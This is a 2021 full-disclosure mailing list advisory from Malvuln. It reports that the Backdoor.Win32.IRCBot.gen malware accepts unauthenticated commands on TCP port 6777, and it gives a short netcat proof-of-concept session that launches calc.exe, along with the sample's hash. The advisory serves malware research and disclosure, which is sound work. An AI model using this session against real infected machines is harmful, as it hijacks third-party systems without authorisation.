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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.IRCBot.gen / Unauthenticated Remote Command Execution
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-07-18 6:17:12
Message-ID: CAAHK0WSZrB36E0Txtn=UKSv_RXTH76yXoVxvEZUP7NQ-YaQVhg () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/96f5cdfa5b3416c819d76060f11dc88d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.IRCBot.gen
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6777. Third-party attackers
who can reach infected systems can execute commands. Commands must be
wrapped in quotes or it will fail.

E.g.

Execute calc.exe
execution failed
Execute "calc.exe"
file executed

Type: PE32
MD5: 96f5cdfa5b3416c819d76060f11dc88d
Vuln ID: MVID-2021-0300
Dropped files: WINEXP.EXE
Disclosure: 07/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 6777
malvuln
psychward final, ready for action
Execute "calc.exe"
file executed


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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